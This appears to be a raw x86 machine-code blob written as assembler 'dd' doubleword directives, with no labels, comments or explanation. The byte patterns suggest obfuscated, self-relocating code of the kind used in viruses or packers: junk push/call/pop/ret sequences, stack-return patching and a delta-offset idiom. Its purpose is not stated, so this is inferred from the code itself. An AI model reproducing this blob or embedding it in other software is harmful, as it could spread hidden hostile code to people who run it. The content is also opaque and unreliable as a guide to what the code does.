dd 6A06031Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 53F2C353h, 0CA7127BCh, 8972C3EBh
dd 3281D85h, 37B35006h, 57243489h, 14E8h, 0C2B03C00h, 0B2B0CC67h
dd 0E3207BCDh, 97909CE2h, 556C58B8h, 799BB37h, 5F5F28C1h
dd 0A734B5FFh, 9D8B0606h, 6032549h, 853A64BFh, 6595FF3Ah
dd 53060311h, 14E960h, 179B0000h, 708C0CCh, 2415178h, 0BA7E70D9h
dd 0F760A78h, 7E95CC2h, 96000000h, 0C50F8F42h, 5F61CF83h
dd 19558529h, 0BD830603h, 6031795h, 2A840F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 338DC356h, 0BB1FFB34h, 24348950h, 0F9C9C7BFh
dd 34B5FF6Ch, 0E90606A7h, 10h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h
dd 0DF3999C4h, 66195FFh, 14E90603h, 57000000h, 47864D8h
dd 634140FDh, 0A6044B5Fh, 180C7226h, 9698839h, 310E59Dh
dd 34B5FF06h, 660606A7h, 0FF40ECBFh, 30AE195h, 8913BF06h
dd 0BD8B0010h, 6030BF9h, 218DBD83h, 0F020603h, 8884h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0EC987754h, 0B589C667h, 6032525h, 1FD858Bh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 753E2DC3h, 9E79CF6Dh, 0F60604Ch, 0AE8D8B7h, 0A6000000h
dd 1BF72625h, 0E7BF25E9h, 66615B90h, 8961D38Bh, 30599B5h
dd 0AD9D8B06h, 0C6060322h, 8B0F0000h, 9, 3850Fh, 8B660000h
dd 0B985C7FAh, 60330h, 8A000000h, 0F260E9DCh, 6AFFFFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 510A55C3h, 0EE9h, 2FEFDF00h, 5C1381E9h, 5809CDC8h, 5B04DD27h
dd 0B2DBD8Bh, 0C18B0603h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 57C35040h, 0FB8B686Bh, 2811858Dh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 685D3AC3h, 9BF8AF61h, 0F1BD8BBEh, 90060311h, 0DE850h
dd 0ADF70000h, 0E484CFA2h, 0AA295026h, 8A297440h, 6A905FDCh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 8BD63327h, 32DC19Dh, 0F006A06h, 68Ch, 0ED958900h
dd 8D06030Ch, 7B76485h, 0FC576006h, 75B58B5Bh, 61060328h
dd 905C083h, 3228995h, 52505006h, 310F5F56h, 0F6A0BB66h
dd 489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0C8CE1F28h, 0D9B70F9Fh, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 4610EEC3h, 40A20487h, 0BF6682BCh, 0F98B54EEh, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 5CC1D0C3h, 308CBB16h, 0F88B31D6h, 0CC995FFh, 95890603h
dd 6030FCDh, 97478D8Dh, 0BAB30606h, 0BD83D1FFh, 6031E91h
dd 61850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0AD0C350h, 38FEA05Eh
dd 6A8C84B7h, 0E1D78002h, 0EE960h, 23590000h, 2F1BEDDEh
dd 81280E65h, 0EFDCD65Ch, 8E9h, 56182300h, 0AC80E1D1h
dd 66506144h, 89DD01BFh, 62B72404h, 1CB195FFh, 0BD890603h
dd 6033289h, 0D5FE9h, 0E800h, 815D0000h, 7B76EEDh, 6890F06h
dd 8B000000h, 304919Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0B1C53559h, 858DE0E1h
dd 6068889h, 8B61F960h, 311D99Dh, 8E0F9006h, 3, 50FE8B66h
dd 90D98B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 62C35242h, 9F0BDF85h, 0F1BD89D8h, 64060321h, 35FFh
dd 0B9600000h, 47E8DE01h
dd 896461F5h, 25h, 25BD2B00h, 0FF060325h, 32A1585h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0FF6AE02Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 73C35747h, 8051E9DFh, 0B5FFEACFh, 60322F9h, 1A0D8589h
dd 95FF0603h, 6032015h, 0FFE9h, 0B0F900h, 12D59D8Bh, 70E60603h
dd 0EE496BBh, 8971E46Fh, 304E99Dh, 0F613C06h, 0DF83h, 0D9F38100h
dd 0F5EBF2Ch, 950C8B6h, 3120D8Dh, 6BA5B06h, 0F8000000h
dd 0BD23C18Bh, 60326D5h, 2904E8C1h, 312D18Dh, 0E2F76606h
dd 2BDA8B66h, 8BF98BC8h, 0BE860D1h, 0DB000000h, 93804E94h
dd 57B7B163h, 0F5E7EF0h, 680h, 0A9B58900h, 61060303h, 87E9h
dd 0F3816600h, 858B1BE3h, 8, 50A6BB66h, 0BB07C083h, 59EA0BB1h
dd 8B00C083h, 325199Dh, 0FD03B06h, 1683h, 8B666000h, 0D98D31F0h
dd 6106030Fh, 4FE9h, 759D8B00h, 8B060319h, 0FFFFFF8Dh
dd 9E9FFh, 5A9B0000h, 52662108h, 83943B79h, 840F01E1h
dd 2Ch, 0DE9h, 0A4840F00h, 449DD6CFh, 3005241Bh, 0A583F2E3h
dd 0FFFFFFFFh, 0BB6650FEh, 895BC5E1h, 895h, 0E99AB300h
dd 0
dd 36E5B58Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0CD0322C3h, 78AB6022h, 2BB760B5h
dd 9D03006Ah, 6030B69h, 1FB995FFh, 6A0603h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B5F0F4C3h
dd 2D3F8968h, 8D29E0E8h, 6032459h, 0EC7B9h, 33B75600h
dd 0FCE1835Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0ADC35141h, 4CA6FA1Ch, 0CE917h, 0B8950000h, 0A205AEC6h
dd 5AB2F7F7h, 8E84799h, 0FF000000h, 2624E6CDh, 0E9444E10h
dd 14h, 4D512C1Ch, 0D0E18167h, 6A7D888Dh, 0FEDE0264h, 80D584EEh
dd 6AFC5Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 9D03BFC3h, 6030651h, 2A85BD29h, 0C02B0603h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FBC35646h
dd 8B665EADh, 66D22BD9h, 351CC381h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 243D9D03h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 191DEC3h, 3205D9Dh, 7E906h
dd 37800000h, 96B6AA8Fh, 880D1Eh, 12E90000h, 0BB000000h
dd 0EC5763F9h, 8F43DDB4h, 0E576A066h, 0B4D58080h, 0D1958B84h
dd 66060331h, 2B90CF81h, 1E18D8Bh, 6A0603h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FE68AC3h
dd 685h, 69858900h, 5006030Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 61D3E672h, 9DBD31A0h
dd 8306030Fh, 31D65BDh, 840F0006h, 2Eh, 0DE8h, 4023FB00h
dd 8E1285F7h, 86E67FCDh, 0FA8BB914h, 0B85Fh, 8DF50000h
dd 34D1C8Dh, 79B52906h, 0FF060313h, 0DF8166E1h, 0BD83C0BEh
dd 60321BDh, 0C4840F00h, 8B000004h, 330D19Dh, 0CDBD8B06h
dd 83060324h, 321BDBDh, 840F0106h, 4C6h, 0FA2ED381h, 0BD834080h
dd 60321BDh, 7D860F03h, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0DFD5C352h
dd 6810Fh, 0B5310000h, 6030B01h, 719D8B60h, 6606031Bh
dd 0B589D98Ch, 6032D79h, 0E904E180h, 11h, 1F41A496h, 73B59DA1h
dd 0FF45A5D5h, 4CC9FFh, 7E9DEh, 0A8EF0000h, 84F943Ah, 0FC90A1Ch
dd 19684h, 5858900h, 8B060302h, 313C185h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 7E513FDDh, 0E38166A9h, 0FE9EAA8h, 2F000000h, 0C9C7228Ah
dd 1BDF55E4h, 613C0E31h, 85337C3Bh, 6031C79h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0E9525090h
dd 10h, 0EC209E85h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h
dd 8B66310Fh, 50585AD9h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 7F4F41F4h, 0DD9A16C8h
dd 6A2F59h, 3EEB8166h, 8DB529EAh, 0E8060330h, 4, 1F03FFh
dd 0E8D08B60h, 13h, 0A1710C21h, 0E885F53Fh, 89A0BF08h
dd 1B5B0AE7h, 8BB9B18Dh, 50615AD0h, 448B8DB3h, 0A6BF0424h
dd 8B6CB0BEh, 0D7BB6600h, 24448947h, 0D98B6604h, 6E85758h
dd 85000000h, 2CF424DCh, 11E809h, 0CADB0000h, 45450B3Dh
dd 0CDD5CBDFh, 99A55154h, 5B046378h, 95FF5F5Bh, 6031405h
dd 30958529h, 85890603h, 606A734h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0C35343h, 0AB2746B0h, 20F58529h
dd 0EF810603h, 6F1521E5h, 20AE9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0A3BA72Fh
dd 99D4D57h, 6660D988h, 890FD98Bh, 2, 8B616160h, 6A72C85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0E45EA66Ch, 10B59D29h, 0C70603h, 18h, 5E8h
dd 5C276100h, 8B66CA9Ch, 0B58B5FFAh, 606A730h, 14840Fh
dd 0FE90000h, 14000000h, 71088A9Dh, 1D935C5h, 4B28C851h
dd 858B1BEFh, 603128Dh, 0C119589h, 6890603h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 5EA3A396h
dd 13C1858Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 9F5F17C3h, 0BE5DC8CCh, 14099D8Bh
dd 0F600603h, 1780h, 12E900h, 56120000h, 0B60C902Bh, 0A02E48D0h
dd 2444882Eh, 9ACDEB5Ch, 8961CBB7h, 6A0446h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 192EF3C3h
dd 14E9D88Bh, 9E000000h, 8D9B3D5Ah, 0A2F94831h, 2DA14FA3h
dd 0A163C3EAh, 96C22879h, 0AE9h, 2462D800h, 0F0421122h
dd 5078C933h, 5FFB8B52h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 9EA435DEh, 49950151h
dd 5B06031Eh, 0A72CB5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 8167FAC3h, 0C2597CDBh
dd 0A100687Ch, 481BE7Bh, 0A362FF24h, 75BD8B41h, 8D060323h
dd 6A73485h, 0F99D0106h, 5006030Ch, 310F5250h, 585A5F53h
dd 33240489h, 31D2DBDh, 595FF06h, 6A060314h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 77AEC353h, 0CB0834C2h, 6191805Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 0F6C35343h, 94FC4103h, 85C716F9h
dd 60321BDh, 3, 0E2B86660h, 5DF1808Bh, 34BD8361h, 606A7h
dd 66840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 8915DBC3h, 3317985h, 0DE806h, 21330000h
dd 6540411Fh, 1B341339h, 8BE06334h, 303D5BDh, 40E95F06h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 1B59C352h, 9D8B14FBh, 6033111h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h
dd 837B83BFh, 321BDBDh, 850F0306h, 3CFh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 19h, 8DC35747h, 0BEBFA67Fh
dd 34BD83E6h, 606A7h, 3A1840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 24DE48C3h
dd 85661A5Eh, 12D19589h, 0FE8B0603h, 0A734B5FFh, 6A0606h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0E1E465C3h, 80C6A41Dh, 95FF66EBh, 6032E05h, 0A728B58Bh
dd 0BD030606h, 6031D19h, 0C8A0Fh, 8A0F0000h, 6, 2DF59D8Bh
dd 6C70603h, 10001h, 8E0F781h, 8166751Dh, 969A50C3h, 6830F50h
dd 50000000h, 5A310F52h, 96505B58h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 95C35545h, 9810Fh, 8B600000h
dd 32AA18Dh, 0B761F806h, 34B5FFD4h, 8B0606A7h, 1995FFDFh
dd 8906032Fh, 3033585h, 28B58B06h, 810606A7h, 66E700D7h
dd 1D858B35h, 89060331h, 320A985h, 0C4868906h, 89000000h
dd 32A71BDh, 0D1958B06h, 6A060331h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 602BC356h
dd 7FD08166h, 9D8B61B1h, 6031371h, 6A04C283h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0EA43C351h, 12FB799h, 0F6BF66CFh, 205089C8h, 0F3858DF5h
dd 6A0606BBh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0D900C350h, 32F55A66h, 45A64512h
dd 7BA4CB81h, 86896235h, 0B8h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0FAC35747h, 0A4D0022Eh, 6A58CBh
dd 32158589h, 0B5FF0603h, 606A734h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0B6C35545h, 0B195FF9Fh, 6A06031Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0C8F9C355h, 753C6240h, 6850F33h, 8B000000h
dd 3261D9Dh, 7E85006h, 0F4000000h, 6D63AF52h, 11E9E99Dh
dd 2F000000h, 0C4FA4AFCh, 0FF88FFB8h, 3F127CD8h, 2F5A203Ch
dd 2434895Bh, 8B0Fh, 0B5FF0000h, 606A734h, 106D8D89h, 95FF0603h
dd 6031165h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 6CC35747h, 66577EF9h, 6292EB81h, 3DBD8B5Bh, 8306032Dh
dd 31795BDh, 840F0006h, 42h, 2425BD8Bh, 50960603h, 60310F52h
dd 6E9h, 261C9900h, 663E3598h, 61D701BBh, 6650585Ah, 6A96F98Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 301AC353h, 0B5FFFC2Eh, 606A734h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A0C35040h, 56E8D37Fh
dd 0E8F74D61h, 13E98Ah, 7FF00000h, 7F00B3E3h, 78BD0773h
dd 58A9BFC7h, 0B3BF9147h, 75BD8BBCh, 0FF060303h, 3066195h
dd 34B5FF06h, 0F0606A7h, 95FFFFBFh, 6030AE1h, 14619D8Bh
dd 0BD830603h, 603218Dh, 2F840F02h, 9000000h, 32909BDh
dd 0FD858B06h, 0B060301h, 325E5BDh, 0C606h, 68C0Fh, 0B5890000h
dd 60321DDh, 0D9958B60h, 89060325h, 3248DBDh, 85C76106h
dd 60330B9h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1BC35141h
dd 9B6B68C7h, 290DA023h, 313EDBDh, 0E9D3B706h, 0FFFFF396h
dd 295BD89h, 0C18B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 85C35646h, 0DAF9CAFh, 4F03844Ch, 31559D89h
dd 0BD2B0603h, 60323E1h, 2811858Dh, 81660603h, 90A6F1D7h
dd 33BBBF50h, 505B49C2h, 6A9051B3h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 62A5C352h
dd 20EE422Fh, 6AD88BDCh, 0B1953100h, 6A060309h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 1337B4DEh, 8D4CBBBAh, 7C6A385h, 10E806h, 0DF4A0000h
dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h, 0CB802A9Eh, 0BD235F70h
dd 6031CADh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 7EECC356h, 0D822D51Eh
dd 0E8905649h, 14h, 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h
dd 7A079A60h, 0CE8h, 0C54D0F00h, 357C31D9h, 799C010Ah
dd 5B56B39Dh, 98B3505Bh, 6ADA8B90h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0BCCD4D07h
dd 6AD719h, 19D18D89h, 95FF0603h, 6030CC9h, 41DF8166h
dd 478D8D83h, 6A060697h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 6C14C351h, 0EE9h, 745DEE00h
dd 996D4714h, 0F5589730h, 89D86E28h, 32F2D9Dh, 9D1FF06h
dd 330D9BDh, 91BD8306h, 106031Eh, 6D850Fh, 9D290000h, 6031089h
dd 32B7026Ah, 660EBB50h, 489090Dh, 0B195FF24h, 6A06031Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0ADACC357h, 456FAC79h, 0B8641871h, 10E8h
dd 878F4A00h, 8093CF87h, 4F5AC06Eh, 0F83BEDFEh, 13E897h
dd 0F59F0000h, 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch
dd 0E95F5B99h, 0DA3h, 0E8h, 0ED815D00h, 607C6ADh, 6AFA8Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 8B8131C3h, 0E1205DEh, 8889858Dh, 0D88B0606h, 0A1BF6690h
dd 0BB6650D3h, 569091ABh, 35FF645Fh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h
dd 0A3728794h, 0B510931Fh, 64CB8188h, 6416F687h, 2589h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 275809C3h, 90C004DDh, 1585FF8Bh, 8B06032Ah
dd 6AFF6AFBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 68C3C355h, 30A9B5FFh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 50A290C3h, 2DF58589h, 895F0603h, 32311BDh, 1595FF06h
dd 0E9060320h, 11Eh, 0C38000B0h, 6670E630h, 71E4FE8Bh
dd 8DD78166h, 0F613C8Dh, 10583h, 0D3816600h, 0B60FF80Ch
dd 18509C8h, 0BA060314h, 6, 0D8A0Fh, 8E90000h, 57000000h
dd 69634BBCh, 8B41F5E3h, 0AEEB80C1h, 0E904E8C1h, 10h, 0EE17FD05h
dd 0C2DCFBA3h, 71E680DBh, 0DB75F47Bh, 0FE2F766h, 68Ch
dd 25858900h, 2B06032Ch, 13E8C8h, 0B61A0000h, 0DA5E6486h
dd 37AAC6ACh, 0B4655D39h, 22040714h, 816660B1h, 0BB5CD4E1h
dd 0C3E7F7Fh, 0D18B5F61h, 68D0Fh, 9D030000h, 60320D9h
dd 79E9h, 858BFC00h, 1, 30A59D2Bh, 0C0830603h, 0A1BD8B07h
dd 83060326h, 9D8900C0h, 6032F2Dh, 830FD03Bh, 18h, 34DB8166h
dd 48E969h, 81600000h, 7010E9E2h, 0F9958B3Ch, 6106030Ah
dd 0FFFF8D8Bh, 8B66FFFFh, 1E183DFh, 28840Fh, 9D8B0000h
dd 6031CF5h, 0FFFFA583h, 66FEFFFFh, 8B5234BFh, 330C9BDh
dd 1958906h, 8B000000h, 331999Dh, 0E906h, 0B58D0000h, 60745ACh
dd 2A218D89h, 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 54C35646h, 0B995FF55h, 6A06031Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 637CC353h, 1CD69C28h, 0FBB9BE15h, 8300000Eh, 6AFCE1h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0E88E07C3h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 2623E1B2h, 0E3508015h
dd 35B589D2h, 2B060328h, 870FC0h, 0BA000000h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A7C35545h
dd 9CF11F91h, 9842249h, 4D9D8BE1h, 60060330h, 810Fh, 0AD610000h
dd 0E8D1C233h, 0E983D003h, 89F47504h, 329E1BDh, 9DBD8B06h
dd 0D06031Eh, 88h, 0FBC2DABBh, 25B50952h, 8B06030Bh, 331D195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 24EDD1AAh, 0BBD0A927h, 75E48C6Ch, 225B589h
dd 8D8B0603h, 60301E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0FFC35646h, 0EBE16AA8h, 81BD8956h, 5F060326h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0AE6F4FC3h, 9E98Ch, 33B30000h, 0FA566302h, 0F3CCA78h
dd 183h, 6AF900h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0A4A869C3h, 895229A3h, 313F99Dh
dd 0BD835B06h, 6031D65h, 7D840F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 8936C350h, 312A195h, 0B806h, 0BBB70000h, 4D1C8D8Dh
dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 2B7136C3h, 0E56A8495h, 85891C4Ch, 6031EDDh
dd 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 47248DC3h, 0ED1A9F7Dh, 21BDBD83h, 0F000603h
dd 4C284h, 0D6C78100h, 8304F4D2h, 321BDBDh, 840F0106h
dd 4CAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 60C35646h, 21BDBD83h, 0F030603h, 46B86h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0AED87105h, 46D819E7h, 9D896D9Fh, 6032E95h, 66F88B60h
dd 669151BFh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0EBE760C3h, 0C675612Eh, 80D88B66h
dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0E0F27DC3h, 0E048722Ah, 9D8BDE20h, 60321E9h
dd 840FC90Ah, 147h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 6EC35242h, 0F8BF0F51h, 13C1858Bh, 6A0603h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 17A52FC3h, 71889126h, 0BFD78045h, 0C4C78166h, 79853349h
dd 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 7F3DC352h, 0E93F6596h, 5049A6F1h
dd 1B45BF66h, 6A240489h, 0DE8B6600h, 4E8h, 1F03FF00h, 0EE800h
dd 4A140000h, 5A3A2E62h, 35D7D491h, 0D0945573h, 5F616057h
dd 448B505Bh, 8B0424h, 4489D98Bh, 6A580424h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 72ECC351h, 852F3BAAh, 0FFDA8B66h, 3140595h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 8E06BEDFh, 8955A7B9h, 321A985h, 34858906h, 600606A7h
dd 8D0F60h, 60000000h, 9D096161h, 6031799h, 220E961h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 5D9F36C3h, 8BC4E380h, 6A72C85h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 74061455h
dd 0C4740D47h, 0C77E02h, 18h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 17C35242h, 9DC7B63Dh, 0D0DAAA8Bh
dd 5850Fh, 81660000h, 8B4BE6E7h, 6A730B5h, 79BB6606h, 8D858B47h
dd 66060312h, 6048C781h, 89560689h, 31BBD9Dh, 858B5F06h
dd 60313C1h, 2BE58D89h, 46890603h, 14E904h, 0E1B60000h
dd 5946AA7Fh, 0D62F36C2h, 0A28FBF3Dh, 69946C69h, 669647FEh
dd 6050DF8Bh, 615F5360h, 0FE9h, 4118C400h, 8E37490Bh, 0A4DF258h
dd 0DAAD3F09h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0BFB08FC3h, 7A0B3CD8h, 66D249ECh
dd 0DE8BDA8Bh, 0A72CB5FFh, 6A0606h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E93169C3h
dd 0Bh, 2B078195h, 2890C753h, 68914DA3h, 9B947052h, 14E8h
dd 0C64F9200h, 945D4E1Bh, 17E46398h, 0B344754Fh, 0F53D2493h
dd 11E9577Bh, 0BC000000h, 91F17AEEh, 19CF8D21h, 0F5C23E70h
dd 0F6A704AAh, 4815B5Fh, 8A93AD24h, 52006A64h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0CF781E5h
dd 2439B529h, 858D0603h, 606A734h, 880Fh, 89500000h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 99945CC3h, 0D499129h, 0C38166B6h, 95FF6568h, 6031405h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BEC35141h
dd 12E9F6h, 1E6B0000h, 0A9EF89B8h, 81C29228h, 7985EC36h
dd 25198A14h, 1A39B531h, 23610603h, 31A2DBDh, 0BD85C706h
dd 3060321h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 85D7C356h, 1D7A8232h
dd 0ECDB814Fh, 83194AE0h, 6A734BDh, 840F0006h, 50h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 75C35646h, 5E2743F5h
dd 0C4C38166h, 2D858930h, 0E9060304h, 3Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 8CC35545h, 47AC1104h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 9C08B00h
dd 305D59Dh, 0BDBD8306h, 3060321h, 3C2850Fh, 0D98B0000h
dd 0A734BD83h, 0F000606h, 3B384h, 6850F00h, 8B000000h
dd 323599Dh, 34B5FF06h, 6A0606A7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 88DDC356h
dd 9CB33DADh, 2E0595FFh, 9D8B0603h, 6030FF5h, 0A728B58Bh
dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 94CBC0C3h, 68151E3Eh, 0C79C04E9h, 1000106h
